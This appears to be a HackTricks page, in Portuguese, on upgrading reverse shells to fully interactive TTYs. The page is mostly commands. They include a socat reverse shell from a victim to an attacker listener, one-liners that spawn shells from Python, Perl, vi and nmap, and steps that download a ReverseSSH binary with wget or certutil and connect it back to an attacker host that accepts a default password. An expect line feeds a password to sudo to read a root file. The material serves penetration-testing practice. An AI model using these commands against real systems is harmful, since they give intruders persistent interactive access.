hacktricks/generic-methodologies-and-resources/reverse-shells/full-ttys.md

6.2 KiB

Full TTYs

{% hint style="success" %} Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Full TTY

Note que o shell que você definir na variável SHELL deve estar listado dentro de /etc/shells ou O valor para a variável SHELL não foi encontrado no arquivo /etc/shells Este incidente foi relatado. Além disso, note que os próximos trechos funcionam apenas no bash. Se você estiver em um zsh, mude para um bash antes de obter o shell executando bash.

Python

{% code overflow="wrap" %}

python3 -c 'import pty; pty.spawn("/bin/bash")'

(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;

{% endcode %}

{% hint style="info" %} Você pode obter o número de linhas e colunas executando stty -a {% endhint %}

script

{% code overflow="wrap" %}

script /dev/null -qc /bin/bash #/dev/null is to not store anything
(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;

{% endcode %}

socat

#Listener:
socat file:`tty`,raw,echo=0 tcp-listen:4444

#Victim:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444

Spawn shells

  • python -c 'import pty; pty.spawn("/bin/sh")'
  • echo os.system('/bin/bash')
  • /bin/sh -i
  • script -qc /bin/bash /dev/null
  • perl -e 'exec "/bin/sh";'
  • perl: exec "/bin/sh";
  • ruby: exec "/bin/sh"
  • lua: os.execute('/bin/sh')
  • IRB: exec "/bin/sh"
  • vi: :!bash
  • vi: :set shell=/bin/bash:shell
  • nmap: !sh

ReverseSSH

Uma maneira conveniente de acesso a shell interativo, bem como transferências de arquivos e encaminhamento de portas, é implantar o servidor ssh estáticamente vinculado ReverseSSH no alvo.

Abaixo está um exemplo para x86 com binários comprimidos com upx. Para outros binários, verifique a página de lançamentos.

  1. Prepare localmente para capturar a solicitação de encaminhamento de porta ssh:

{% code overflow="wrap" %}

# Drop it via your preferred way, e.g.
wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh

/dev/shm/reverse-ssh -v -l -p 4444

{% endcode %}

  • (2a) Alvo Linux:

{% code overflow="wrap" %}

# Drop it via your preferred way, e.g.
wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh

/dev/shm/reverse-ssh -p 4444 kali@10.0.0.2

{% endcode %}

  • (2b) Alvo Windows 10 (para versões anteriores, verifique project readme):

{% code overflow="wrap" %}

# Drop it via your preferred way, e.g.
certutil.exe -f -urlcache https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86.exe reverse-ssh.exe

reverse-ssh.exe -p 4444 kali@10.0.0.2

{% endcode %}

  • Se o pedido de encaminhamento de porta ReverseSSH foi bem-sucedido, você deve agora conseguir fazer login com a senha padrão letmeinbrudipls no contexto do usuário que está executando reverse-ssh(.exe):
# Interactive shell access
ssh -p 8888 127.0.0.1

# Bidirectional file transfer
sftp -P 8888 127.0.0.1

Penelope

Penelope atualiza automaticamente shells reversas do Linux para TTY, gerencia o tamanho do terminal, registra tudo e muito mais. Também fornece suporte a readline para shells do Windows.

penelope

Sem TTY

Se por algum motivo você não conseguir obter um TTY completo, ainda pode interagir com programas que esperam entrada do usuário. No exemplo a seguir, a senha é passada para sudo para ler um arquivo:

expect -c 'spawn sudo -S cat "/root/root.txt";expect "*password*";send "<THE_PASSWORD_OF_THE_USER>";send "\r\n";interact'

{% hint style="success" %} Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporte o HackTricks
{% endhint %}